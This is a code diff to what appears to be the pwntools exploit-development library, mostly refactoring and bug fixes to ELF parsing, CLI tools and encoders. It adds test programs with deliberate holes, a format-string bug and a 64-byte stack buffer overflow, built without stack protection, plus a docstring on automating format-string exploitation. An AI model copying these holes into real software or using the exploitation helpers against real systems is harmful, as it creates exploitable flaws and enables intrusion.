log.warn_once('Your binutils version is too old and may not work!\n'
'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n'
'Reported Version: %r', result.strip())
return assembler
@@ -322,6 +327,7 @@ def _bfdname():
'amd64' : 'elf64-x86-64',
'arm' : 'elf32-%sarm' % E,
'thumb' : 'elf32-%sarm' % E,
'avr' : 'elf32-avr',
'mips' : 'elf32-trad%smips' % E,
'mips64' : 'elf64-trad%smips' % E,
'alpha' : 'elf64-alpha',
@@ -344,10 +350,13 @@ def _bfdname():
def _bfdarch():
arch = context.arch
convert = {
'i386': 'i386',
'amd64': 'i386:x86-64',
'thumb': 'arm',
'ia64': 'ia64-elf64'
'amd64': 'i386:x86-64',
'i386': 'i386',
'ia64': 'ia64-elf64',
'mips64': 'mips',
'powerpc64': 'powerpc',
'sparc64': 'sparc',
'thumb': 'arm',
}
if arch in convert:
@@ -749,6 +758,12 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
>>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64'))
0: gs data16 fs data16 rex nop/reserved BYTE PTR gs:[eax+eax*1+0x0]
f: push rcx
>>> print(disasm(unhex('01000000'), arch='sparc64'))
0: 01 00 00 00 nop
>>> print(disasm(unhex('60000000'), arch='powerpc64'))
0: 60 00 00 00 nop
>>> print(disasm(unhex('00000000'), arch='mips64'))
0: 00000000 nop
"""
result = ''
+2 -1
View File
@@ -18,5 +18,6 @@ __all__ = [
'scramble',
'shellcraft',
'unhex',
'update'
'update',
'version'
]
+3
View File
@@ -5,6 +5,9 @@ from __future__ import division
import argparse
import sys
import pwnlib
pwnlib.args.free_form = False
from pwn import *
from pwnlib.commandline import common
Regular → Executable
+12 -24
View File
@@ -4,7 +4,6 @@ from __future__ import division
import argparse
import functools
import os
import re
import pwnlib
@@ -19,25 +18,22 @@ p = common.parser_commands.add_parser(
formatter_class = argparse.RawDescriptionHelpFormatter,
)
group = p.add_mutually_exclusive_group()
group.add_argument(
p.add_argument(
'-e', '--exact',
metavar = 'constant',
# nargs = 1,
default = None,
help = 'Do an exact match for a constant instead of searching for a regex',
action='store_true',
help='Do an exact match for a constant instead of searching for a regex',
)
group.add_argument(
p.add_argument(
'regex',
nargs = '?',
default = '',
help = 'The regex matching constant you want to find',
help='The regex matching constant you want to find',
)
p.add_argument(
'constant',
nargs = '?',
default = None,
type = safeeval.expr,
help = 'The constant to find',
)
@@ -65,7 +61,7 @@ p.add_argument(
def main(args):
if args.exact:
# This is the simple case
print(cpp(args.exact).strip())
print(cpp(args.regex).strip())
else:
# New we search in the right module.
# But first: We find the right module
@@ -80,20 +76,12 @@ def main(args):
else:
matcher = re.compile(args.regex)
# Evaluate the given constant
if args.constant:
try:
constant = safeeval.expr(args.constant)
except:
log.error("Could not evaluate constant %r" % args.constant)
else:
constant = None
# The found matching constants and the length of the longest string
out = []
maxlen = 0
constant = args.constant
for k in dir(mod):
# No python stuff
if k.endswith('__') and k.startswith('__'):
@@ -104,7 +92,7 @@ def main(args):
continue
# Check the constant
if constant != None:
if constant is not None:
val = getattr(mod, k)
if args.mask_mode:
if constant & val != val:
@@ -124,7 +112,7 @@ def main(args):
# If we are in match_mode, then try to find a combination of
# constants that yield the exact given value
# We do not want to find combinations using the value 0.
if not (constant == None or constant == 0) and args.mask_mode:
if constant and args.mask_mode:
mask = constant
good = []
out = [(v, k) for v, k in out if v != 0]
+10 -7
View File
@@ -3,6 +3,7 @@ from __future__ import absolute_import
from __future__ import division
import argparse
import six
import string
import sys
@@ -21,7 +22,7 @@ parser.add_argument(
'-a', '--alphabet',
metavar = 'alphabet',
default = string.ascii_lowercase.encode(),
type = bytes,
type = six.ensure_binary,
help = 'The alphabet to use in the cyclic pattern (defaults to all lower case letters)',
)
@@ -42,7 +43,7 @@ parser.add_argument(
help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
)
group = parser.add_mutually_exclusive_group(required = True)
group = parser.add_mutually_exclusive_group(required=False)
group.add_argument(
'-l', '-o', '--offset', '--lookup',
dest = 'lookup',
@@ -52,9 +53,10 @@ group.add_argument(
group.add_argument(
'count',
type = int,
nargs = '?',
help = 'Number of characters to print'
type=int,
nargs='?',
default=None,
help='Number of characters to print'
)
def main(args):
@@ -65,9 +67,10 @@ def main(args):
pat = args.lookup
try:
pat = packing.pack(int(pat, 0), subsize*8)
pat = int(pat, 0)
except ValueError:
pass
pat = flat(pat)
if len(pat) != subsize:
log.critical('Subpattern must be %d bytes' % subsize)
@@ -88,7 +91,7 @@ def main(args):
want = args.count
result = cyclic(want, alphabet, subsize)
got = len(result)
if got < want:
if want is not None and got < want:
log.failure("Alphabet too small (max length = %i)" % got)
out = getattr(sys.stdout, 'buffer', sys.stdout)
+1 -1
View File
@@ -45,4 +45,4 @@ def main(args):
print(os.strerror(value))
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
common.main(__file__)
+1 -1
View File
@@ -26,4 +26,4 @@ def main(args):
print(enhex(data))
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
common.main(__file__)
+2
View File
@@ -21,6 +21,7 @@ from pwnlib.commandline import shellcraft
from pwnlib.commandline import template
from pwnlib.commandline import unhex
from pwnlib.commandline import update
from pwnlib.commandline import version
from pwnlib.commandline.common import parser
from pwnlib.context import context
@@ -43,6 +44,7 @@ commands = {
'template': template.main,
'unhex': unhex.main,
'update': update.main,
'version': version.main,
}
def main():
+4 -4
View File
@@ -85,12 +85,12 @@ def main(args):
text.when = color
if skip:
if infile == sys.stdin:
infile.read(skip)
else:
try:
infile.seek(skip, os.SEEK_CUR)
except IOError:
infile.read(skip)
if count:
if count != -1:
infile = io.BytesIO(infile.read(count))
hl = []
+10 -1
View File
@@ -18,9 +18,10 @@ parser.add_argument('exe', nargs='?', help='Target binary')
parser.add_argument('--host', help='Remote host / SSH server')
parser.add_argument('--port', help='Remote port / SSH port', type=int)
parser.add_argument('--user', help='SSH Username')
parser.add_argument('--pass', help='SSH Password', dest='password')
parser.add_argument('--pass', '--password', help='SSH Password', dest='password')
parser.add_argument('--path', help='Remote path of file on SSH server')
parser.add_argument('--quiet', help='Less verbose template comments', action='store_true')
parser.add_argument('--color', help='Print the output in color', choices=['never', 'always', 'auto'], default='auto')
def main(args):
cache = None
@@ -57,8 +58,16 @@ def main(args):
# Fix Mako formatting bs
output = re.sub('\n\n\n', '\n\n', output)
# Colorize the output if it's a TTY
if args.color == 'always' or (args.color == 'auto' and sys.stdout.isatty()):
from pygments import highlight
from pygments.formatters import TerminalFormatter
from pygments.lexers.python import PythonLexer
output = highlight(output, PythonLexer(), TerminalFormatter())
print(output)
# If redirected to a file, make the resulting script executable
if not sys.stdout.isatty():
try: os.fchmod(sys.stdout.fileno(), 0o700)
except OSError: pass
+1 -1
View File
@@ -30,4 +30,4 @@ def main(args):
sys.stderr.write(str(e) + '\n')
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
common.main(__file__)
+31
View File
@@ -0,0 +1,31 @@
#!/usr/bin/env python
from __future__ import absolute_import
from __future__ import division
import os
import subprocess
import pwnlib
pwnlib.args.free_form = False
from pwn import *
from pwnlib.commandline import common
parser = common.parser_commands.add_parser(
'version',
help = 'Pwntools version'
)
def main(a):
version = pwnlib.version
git_root = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))
if os.path.exists(os.path.join(git_root, '.git')):
gitver = subprocess.check_output(['git', '-C', git_root, 'log', '-1', '--format=%h (%cr)'])
branch = subprocess.check_output(['git', '-C', git_root, 'rev-parse', '--abbrev-ref', 'HEAD'])
version = '%s-%s-%s' % (version, branch.decode().strip(), gitver.decode())
log.info("Pwntools v%s" % version)
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
+1 -1
View File
@@ -92,7 +92,7 @@ class ConstantsModule(ModuleType):
# Special case for __all__, we want to return the contextually
# relevant module.
if key == '__all__':
return self.guess().__dict__.keys()
return list(self.guess().__dict__.keys())
# Special case for all other special properties which aren't defined
if key.endswith('__'):
+2
View File
@@ -1,5 +1,7 @@
from __future__ import absolute_import
from pwnlib.data.elf import fmtstr
from pwnlib.data.elf import relro
from pwnlib.data.elf import ret2dlresolve
import os
path = os.path.dirname(__file__)
+5
View File
@@ -0,0 +1,5 @@
all: i386
i386: vuln.c
gcc "$^" -fno-stack-protector -no-pie -m32 -o $@
+5
View File
@@ -0,0 +1,5 @@
import os
path = os.path.dirname(__file__)
def get(x):
return os.path.join(path, x)
BIN
View File
Binary file not shown.
+25
View File
@@ -0,0 +1,25 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{
char buff[1024];
void *ptr = NULL;
int *my_var = TARGET;
ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if(ptr != MEMORY_ADDRESS)
{
perror("mmap");
return EXIT_FAILURE;
}
*my_var = 0x41414141;
write(1, &my_var, sizeof(int *));
scanf("%s", buff);
dprintf(2, buff);
write(1, my_var, sizeof(int));
return 0;
}
+8
View File
@@ -0,0 +1,8 @@
all: i386 amd64
i386: vuln.c
gcc "$^" -fno-stack-protector -no-pie -m32 -o $@
amd64: vuln.c
gcc "$^" -fno-stack-protector -no-pie -o $@
@@ -0,0 +1,5 @@
import os
path = os.path.dirname(__file__)
def get(x):
return os.path.join(path, x)
Binary file not shown.
BIN
View File
Binary file not shown.
+8
View File
@@ -0,0 +1,8 @@
#include <unistd.h>
void vuln(void){
char buf[64];
read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
vuln();
}
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+2 -2
View File
@@ -21,8 +21,8 @@ class KernelConfig(object):
self.excludes = set(excludes)
#: Kernel version that this check should be enforced on
self.minver = map(int, str(minver).split('.'))
self.maxver = map(int, str(maxver).split('.'))
self.minver = list(map(int, str(minver).split('.')))
self.maxver = list(map(int, str(maxver).split('.')))
def relevant(self, config):
+18 -22
View File
@@ -219,8 +219,8 @@ class Mapping(object):
stop += self.stop
if not (self.start <= start <= stop <= self.stop):
log.error("Byte range [%#x:%#x] not within range [%#x:%#x]" \
% (start, stop, self.start, self.stop))
log.error("Byte range [%#x:%#x] not within range [%#x:%#x]",
start, stop, self.start, self.stop)
data = self._core.read(start, stop-start)
@@ -431,7 +431,7 @@ class Corefile(ELF):
Corefiles can also be pulled from remote machines via SSH!
>>> s = ssh(host='example.pwnme')
>>> s = ssh(user='travis', host='example.pwnme', password='demopass')
>>> _ = s.set_working_directory()
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> path = s.upload(elf.path)
@@ -551,15 +551,15 @@ class Corefile(ELF):
self.load_addr = 0
self._address = 0
if not self.elftype == 'CORE':
if self.elftype != 'CORE':
log.error("%s is not a valid corefile" % self.file.name)
if not self.arch in prstatus_types.keys():
if self.arch not in prstatus_types:
log.warn_once("%s does not use a supported corefile architecture, registers are unavailable" % self.file.name)
prstatus_type = prstatus_types.get(self.arch, None)
prpsinfo_type = prpsinfo_types.get(self.bits, None)
siginfo_type = siginfo_types.get(self.bits, None)
prstatus_type = prstatus_types.get(self.arch)
prpsinfo_type = prpsinfo_types.get(self.bits)
siginfo_type = siginfo_types.get(self.bits)
with log.waitfor("Parsing corefile...") as w:
self._load_mappings()
@@ -669,8 +669,8 @@ class Corefile(ELF):
continue
if mapping.start == self.at_sysinfo_ehdr \
or (not vdso and mapping.size in [0x1000, 0x2000] \
and mapping.flags == 5 \
or (not vdso and mapping.size in [0x1000, 0x2000]
and mapping.flags == 5
and self.read(mapping.start, 4) == b'\x7fELF'):
mapping.name = '[vdso]'
vdso = True
@@ -945,16 +945,11 @@ class Corefile(ELF):
# Sanity check!
try:
assert stack[address] == b'\x00'
except AssertionError:
# Something weird is happening. Just don't touch it.
log.debug("Something is weird")
return
if stack[address] != b'\x00':
log.warning("Error parsing corefile stack: Could not find end of environment")
return
except ValueError:
# If the stack is not actually present in the coredump, we can't
# read from the stack. This will fail as:
# ValueError: 'seek out of range'
log.debug("ValueError")
log.warning("Error parsing corefile stack: Address out of bounds")
return
# address is currently set to the NULL terminator of the last
@@ -968,12 +963,14 @@ class Corefile(ELF):
p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr)
if p_last_env_addr < 0:
# Something weird is happening. Just don't touch it.
log.warn_once("Found bad environment at %#x", last_env_addr)
log.warn_once("Error parsing corefile stack: Found bad environment at %#x", last_env_addr)
return
# Sanity check that we did correctly find the envp NULL terminator.
envp_nullterm = p_last_env_addr+context.bytes
assert self.unpack(envp_nullterm) == 0
if self.unpack(envp_nullterm) != 0:
log.warning("Error parsing corefile stack: Could not find end of environment variables")
return
# We've successfully located the end of the envp[] array.
#
@@ -1535,4 +1532,3 @@ class CorefileFinder(object):
return keys['interpreter']
return ''
+51 -15
View File
@@ -90,6 +90,12 @@ log = getLogger(__name__)
__all__ = ['load', 'ELF']
def _iter_symbols(sec):
# Cache result of iter_symbols.
if not hasattr(sec, '_symbols'):
sec._symbols = list(sec.iter_symbols())
return iter(sec._symbols)
class Function(object):
"""Encapsulates information about a function in an :class:`.ELF` binary.
@@ -269,6 +275,9 @@ class ELF(ELFFile):
self.arch = 'mips64'
self.bits = 64
self._sections = None
self._segments = None
#: IntervalTree which maps all of the loaded memory segments
self.memory = intervaltree.IntervalTree()
self._populate_memory()
@@ -310,7 +319,7 @@ class ELF(ELFFile):
config = gz.read()
if config:
self.config = parse_kconfig(config)
self.config = parse_kconfig(config.decode())
#: ``True`` if the ELF is a statically linked executable
self.statically_linked = bool(self.elftype == 'EXEC' and self.load_addr)
@@ -455,9 +464,6 @@ class ELF(ELFFile):
self.checksec(*a, **kw)
)
def __repr__(self):
return "ELF(%r)" % self.path
def get_machine_arch(self):
return {
'EM_X86_64': 'amd64',
@@ -485,6 +491,13 @@ class ELF(ELFFile):
""":class:`str`: ELF type (``EXEC``, ``DYN``, etc)"""
return describe_e_type(self.header.e_type).split()[0]
def iter_segments(self):
# Yield and cache all the segments in the file
if self._segments is None:
self._segments = [self.get_segment(i) for i in range(self.num_segments())]
return iter(self._segments)
@property
def segments(self):
"""
@@ -537,6 +550,13 @@ class ELF(ELFFile):
return None
def iter_sections(self):
# Yield and cache all the sections in the file
if self._sections is None:
self._sections = [self.get_section(i) for i in range(self.num_sections())]
return iter(self._sections)
@property
def sections(self):
"""
@@ -592,6 +612,8 @@ class ELF(ELFFile):
self.symbols = dotdict({k:update(v) for k,v in self.symbols.items()})
self.plt = dotdict({k:update(v) for k,v in self.plt.items()})
self.got = dotdict({k:update(v) for k,v in self.got.items()})
for f in self.functions.values():
f.address += delta
# Update our view of memory
memory = intervaltree.IntervalTree()
@@ -840,7 +862,7 @@ class ELF(ELFFile):
if not isinstance(sec, SymbolTableSection):
continue
for sym in sec.iter_symbols():
for sym in _iter_symbols(sec):
# Avoid duplicates
if sym.name in self.functions:
continue
@@ -864,7 +886,7 @@ class ELF(ELFFile):
if not isinstance(section, SymbolTableSection):
continue
for symbol in section.iter_symbols():
for symbol in _iter_symbols(section):
value = symbol.entry.st_value
if not value:
continue
@@ -905,7 +927,7 @@ class ELF(ELFFile):
if self.statically_linked:
return
for section in self.iter_sections():
for section in self.sections:
# We are only interested in relocations
if not isinstance(section, RelocationSection):
continue
@@ -959,7 +981,7 @@ class ELF(ELFFile):
# Iterate over the dynamic symbol table
dynsym = self.get_section_by_name('.dynsym')
symbol_iter = dynsym.iter_symbols()
symbol_iter = _iter_symbols(dynsym)
# 'gotsym' is the index of the first GOT symbol
gotsym = self.dynamic_value_by_tag('DT_MIPS_GOTSYM')
@@ -1001,9 +1023,10 @@ class ELF(ELFFile):
# In particular, this is where EBX points when it points into the GOT.
dt_pltgot = self.dynamic_value_by_tag('DT_PLTGOT') or 0
# There are two PLTs we may need to search
# There are three PLTs we may need to search
plt = self.get_section_by_name('.plt') # <-- Functions only
plt_got = self.get_section_by_name('.plt.got') # <-- Functions used as data
plt_sec = self.get_section_by_name('.plt.sec')
plt_mips = self.get_section_by_name('.MIPS.stubs')
# Invert the GOT symbols we already have, so we can look up by address
@@ -1011,7 +1034,7 @@ class ELF(ELFFile):
inv_symbols.update({v:k for k,v in self.symbols.items()})
with context.local(arch=self.arch, bits=self.bits, endian=self.endian):
for section in (plt, plt_got, plt_mips):
for section in (plt, plt_got, plt_sec, plt_mips):
if not section:
continue
@@ -1032,7 +1055,10 @@ class ELF(ELFFile):
return
banner = self.string(self.symbols.linux_banner)
# convert banner into a utf-8 string since re.search does not accept bytes anymore
banner = banner.decode('utf-8')
# 'Linux version 3.18.31-gd0846ecc
regex = r'Linux version (\S+)'
match = re.search(regex, banner)
@@ -1090,8 +1116,8 @@ class ELF(ELFFile):
return_from_main = int(return_from_main[ : return_from_main.index(':') ], 16)
return return_from_main
def search(self, needle, writable = False):
"""search(needle, writable = False) -> generator
def search(self, needle, writable = False, executable = False):
"""search(needle, writable = False, executable = False) -> generator
Search the ELF's virtual address space for the specified string.
@@ -1104,6 +1130,7 @@ class ELF(ELFFile):
Arguments:
needle(str): String to search for.
writable(bool): Search only writable sections.
executable(bool): Search only executable sections.
Yields:
An iterator for each virtual address that matches.
@@ -1121,11 +1148,20 @@ class ELF(ELFFile):
>>> len(list(bash.search(b'GNU bash'))) > 0
True
It is also possible to search for instructions in executable sections.
>>> binary = ELF.from_assembly('nop; mov eax, 0; jmp esp; ret')
>>> jmp_addr = next(binary.search(asm('jmp esp'), executable = True))
>>> binary.read(jmp_addr, 2) == asm('jmp esp')
True
"""
load_address_fixup = (self.address - self.load_addr)
if writable:
segments = self.writable_segments
elif executable:
segments = self.executable_segments
else:
segments = self.segments
@@ -1820,7 +1856,7 @@ class ELF(ELFFile):
# Check for Linux configuration, it must contain more than
# just the version.
if len(self.config) > 1:
config_opts = collections.defaultdict(lambda: [])
config_opts = collections.defaultdict(list)
for checker in kernel_configuration:
result, message = checker(self.config)
@@ -1927,7 +1963,7 @@ class ELF(ELFFile):
def unpack(self, address, *a, **kw):
"""Unpacks an integer from the specified ``address``."""
self._update_args(kw)
return packing.unpack(self.read(address, context.bytes), *a, **kw)
return packing.unpack(self.read(address, self.bytes), *a, **kw)
def string(self, address):
"""string(address) -> str
+25 -9
View File
@@ -36,13 +36,17 @@ def emulate_plt_instructions(elf, got, address, data, targets):
data = packing.unpack_many(data, bits=32, endian='little')
data = packing.flat(data, bits=32, endian='big')
uc, ctx = prepare_unicorn_and_context(elf, got, address, data)
# Brute force addresses, assume that PLT entry points are at 4-byte aligned
# Do not emulate more than a handful of instructions.
for i, pc in enumerate(range(address, address + len(data), 4)):
if log.isEnabledFor(logging.DEBUG):
log.debug('%s %#x', fiddling.enhex(data[i*4:(i+1) * 4]), pc)
log.debug(elf.disasm(pc, 4))
target = emulate_plt_instructions_inner(elf, got, pc, data[i*4:], targets)
uc.context_restore(ctx)
target = emulate_plt_instructions_inner(uc, elf, got, pc, data[i*4:], targets)
if target in targets:
log.debug("%#x -> %#x", pc, target)
@@ -50,8 +54,7 @@ def emulate_plt_instructions(elf, got, address, data, targets):
return rv
def emulate_plt_instructions_inner(elf, got, pc, data, targets):
# Deferred import to not affect load time
def prepare_unicorn_and_context(elf, got, address, data):
import unicorn as U
# Instantiate the emulator with the correct arguments for the current
@@ -88,15 +91,15 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
uc = U.Uc(arch, mode)
# Map the page of memory, and fill it with the contents
start = pc & (~0xfff)
stop = (pc + len(data) + 0xfff) & (~0xfff)
start = address & (~0xfff)
stop = (address + len(data) + 0xfff) & (~0xfff)
if not (0 <= start <= stop <= (1 << elf.bits)):
return None
uc.mem_map(start, stop-start)
uc.mem_write(pc, data)
assert uc.mem_read(pc, len(data)) == data
uc.mem_write(address, data)
assert uc.mem_read(address, len(data)) == data
# MIPS is unique in that it relies entirely on _DYNAMIC, at the beginning
# of the GOT. Each PLT stub loads an address stored here.
@@ -129,9 +132,17 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
trap = packing.p32(0x34000000, endian=elf.endian)
uc.mem_write(magic_addr, trap)
return uc, uc.context_save()
def emulate_plt_instructions_inner(uc, elf, got, pc, data, targets):
import unicorn as U
# Hook invalid addresses and any accesses out of the specified address range
stopped_addr = []
# For MIPS. Explanation at prepare_unicorn_and_context.
magic_addr = 0xdbdbdbdb
def hook_mem(uc, access, address, size, value, user_data):
# Special case to allow MIPS to dereference the _DYNAMIC pointer
# in the GOT.
@@ -142,8 +153,10 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
uc.emu_stop()
return False
uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr)
uc.hook_add(U.UC_HOOK_MEM_UNMAPPED, hook_mem, stopped_addr)
hooks = [
uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr),
uc.hook_add(U.UC_HOOK_MEM_UNMAPPED, hook_mem, stopped_addr)
]
# callback for tracing instructions
# def hook_code(uc, address, size, user_data):
@@ -178,4 +191,7 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
if stopped_addr:
retval = stopped_addr.pop()
for hook in hooks:
uc.hook_del(hook)
return retval
+1 -1
View File
@@ -44,4 +44,4 @@ data:
blacklist = set(raw)
encode = amd64DeltaEncoder()
__all__ = [encode]
__all__ = ['encode']
+1 -1
View File
@@ -32,7 +32,7 @@ class ArmEncoder(Encoder):
enc_dec_loop = b.encDecoderLoopBuilder(dec_loop)
dec = b.DecoderBuilder(dec_loop, self.icache_flush)
output,dec = b.buildInit(dec);
output, dec = b.buildInit(dec)
output += dec
output += enc_dec_loop
@@ -42,10 +42,10 @@ def off_gen(c):
return x
return 0
# return an alphanumeric value ret such that c XOR ret is also alphanumeric
# =========================================================================
# return an alphanumeric value ret such that c XOR ret is also alphanumeric
# =========================================================================
def alphanumeric_get_complement(c):
c &= 0xff;
c &= 0xff
while True:
ret = alphanumeric_get_byte()
if alphanumeric_check(c ^ ret):
+10 -3
View File
@@ -3,9 +3,12 @@
r"""
File Structure Exploitation
struct FILE (_IO_FILE) is the structure for File Streams. This offers various targets for exploitation on an existing bug in the code. Examples - _IO_buf_base and _IO_buf_end for reading data to arbitrary location.
struct FILE (_IO_FILE) is the structure for File Streams.
This offers various targets for exploitation on an existing bug in the code.
Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location.
Remembering the offsets of various structure members while faking a FILE structure can be difficult, so this python class helps you with that. Example-
Remembering the offsets of various structure members while faking a FILE structure can be difficult,
so this python class helps you with that. Example-
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(null=0xdeadbeef)
@@ -24,6 +27,7 @@ from __future__ import division
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.util.misc import python_2_bytes_compatible
from pwnlib.util.packing import pack
log = getLogger(__name__)
@@ -62,6 +66,8 @@ variables={
26:{name:'vtable',size:length}
}
del name, size, length
def update_var(l):
r"""
@@ -91,6 +97,8 @@ def update_var(l):
var['unknown2']=48
return var
@python_2_bytes_compatible
class FileStructure(object):
r"""
Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
@@ -187,7 +195,6 @@ class FileStructure(object):
else:
structure += pack(self.__getattr__(val), self.length[val]*8)
return structure
__str__ = __bytes__
def struntil(self,v):
r"""
+1 -3
View File
@@ -11,7 +11,6 @@ from pwnlib.tubes.remote import remote
env_server = args.get('FLAG_HOST', 'flag-submission-server').strip()
env_port = args.get('FLAG_PORT', '31337').strip()
env_proto = args.get('FLAG_PROTO', 'tcp').strip()
env_file = args.get('FLAG_FILE', '/does/not/exist').strip()
env_exploit_name = args.get('EXPLOIT_NAME', 'unnamed-exploit').strip()
env_target_host = args.get('TARGET_HOST', 'unknown-target').strip()
@@ -24,7 +23,6 @@ def submit_flag(flag,
target=env_target_host,
server=env_server,
port=env_port,
proto=env_proto,
team=env_team_name):
"""
Submits a flag to the game server
@@ -35,7 +33,7 @@ def submit_flag(flag,
target(str): Target identifier, optional
server(str): Flag server host name, optional
port(int): Flag server port, optional
proto(str), Flag server protocol, optional
team(str): Team identifier, optional
Optional arguments are inferred from the environment,
or omitted if none is set.
+35 -36
View File
@@ -1,39 +1,39 @@
r"""
Provide some tools to exploit format string bug
Examples:
Let's use this program as an example:
>>> program = tempfile.mktemp()
>>> source = program + ".c"
>>> write(source, '''
... #include <stdio.h>
... #include <stdlib.h>
... #include <unistd.h>
... #include <sys/mman.h>
... #define MEMORY_ADDRESS ((void*)0x11111000)
... #define MEMORY_SIZE 1024
... #define TARGET ((int *) 0x11111110)
... int main(int argc, char const *argv[])
... {
... char buff[1024];
... void *ptr = NULL;
... int *my_var = TARGET;
... ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
... if(ptr != MEMORY_ADDRESS)
... {
... perror("mmap");
... return EXIT_FAILURE;
... }
... *my_var = 0x41414141;
... write(1, &my_var, sizeof(int *));
... scanf("%s", buff);
... dprintf(2, buff);
... write(1, my_var, sizeof(int));
... return 0;
... }''')
>>> gcc = process(["gcc", source, "-Wno-format-security", "-m32", "-o", program])
>>> gcc.poll(True) and gcc.recvall()
0
::
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{
char buff[1024];
void *ptr = NULL;
int *my_var = TARGET;
ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if(ptr != MEMORY_ADDRESS)
{
perror("mmap");
return EXIT_FAILURE;
}
*my_var = 0x41414141;
write(1, &my_var, sizeof(int *));
scanf("%s", buff);
dprintf(2, buff);
write(1, my_var, sizeof(int));
return 0;
}
We can automate the exploitation of the process like so:
>>> program = pwnlib.data.elf.fmtstr.get('i386')
>>> def exec_fmt(payload):
... p = process(program)
... p.sendline(payload)
@@ -834,14 +834,13 @@ class FmtStr(object):
"""
def __init__(self, execute_fmt, offset = None, padlen = 0, numbwritten = 0):
def __init__(self, execute_fmt, offset=None, padlen=0, numbwritten=0):
self.execute_fmt = execute_fmt
self.offset = offset
self.padlen = padlen
self.numbwritten = numbwritten
if self.offset == None:
if self.offset is None:
self.offset, self.padlen = self.find_offset()
log.info("Found format string offset: %d", self.offset)
@@ -903,7 +902,7 @@ class FmtStr(object):
"""
fmtstr = randoms(self.padlen).encode()
fmtstr += fmtstr_payload(self.offset, self.writes, numbwritten=self.padlen, write_size='byte')
fmtstr += fmtstr_payload(self.offset, self.writes, numbwritten=self.padlen + self.numbwritten, write_size='byte')
self.execute_fmt(fmtstr)
self.writes = {}
+99 -68
View File
@@ -110,6 +110,7 @@ from pwnlib.asm import make_elf_from_assembly
from pwnlib.context import LocalContext
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.timeout import Timeout
from pwnlib.util import misc
from pwnlib.util import proc
@@ -236,13 +237,14 @@ def _gdbserver_args(pid=None, path=None, args=None, which=None, env=None):
if pid:
gdbserver_args += ['--once', '--attach']
if env:
if env is not None:
env_args = []
for key in tuple(env):
if key.startswith('LD_'): # LD_PRELOAD / LD_LIBRARY_PATH etc.
env_args.append('{}={}'.format(key, env.pop(key)))
if env_args:
gdbserver_args += ['--wrapper', 'env'] + env_args + ['--']
else:
env_args.append('{}={}'.format(key, env[key]))
gdbserver_args += ['--wrapper', 'env', '-i'] + env_args + ['--']
gdbserver_args += ['localhost:0']
gdbserver_args += args
@@ -384,8 +386,8 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
by using the ``ssh=`` keyword to pass in your :class:`.ssh` instance.
>>> # Connect to the SSH server
>>> shell = ssh('runner', 'example.pwnme', password='demopass')
>>> # Start a process on the server
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
>>> io = gdb.debug(['bash'],
... ssh = shell,
... gdbscript = '''
@@ -398,7 +400,7 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
>>> io.interactive() # doctest: +SKIP
>>> io.close()
"""
if isinstance(args, (int, tubes.process.process, tubes.ssh.ssh_channel)):
if isinstance(args, six.integer_types + (tubes.process.process, tubes.ssh.ssh_channel)):
log.error("Use gdb.attach() to debug a running process")
if isinstance(args, (bytes, six.text_type)):
@@ -495,7 +497,7 @@ def binary():
if multiarch:
return multiarch
log.warn_once('Cross-architecture debugging usually requires gdb-multiarch\n' \
log.warn_once('Cross-architecture debugging usually requires gdb-multiarch\n'
'$ apt-get install gdb-multiarch')
if not gdb:
@@ -544,59 +546,62 @@ def attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysr
Examples:
>>> # Attach directly to pid 1234
>>> gdb.attach(1234) # doctest: +SKIP
Attach to a process by PID
>>> pid = gdb.attach(1234) # doctest: +SKIP
>>> # Attach to the youngest "bash" process
>>> gdb.attach('bash') # doctest: +SKIP
Attach to the youngest process by name
>>> pid = gdb.attach('bash') # doctest: +SKIP
>>> # Start a process
>>> bash = process('bash')
>>> # Attach the debugger
>>> pid = gdb.attach(bash, '''
... set follow-fork-mode child
... break execve
... continue
... ''')
>>> # Interact with the process
>>> bash.sendline("whoami")
>>> bash.recvline()
b'runner\n'
>>> bash.close()
Attach a debugger to a :class:`.process` tube and automate interaction
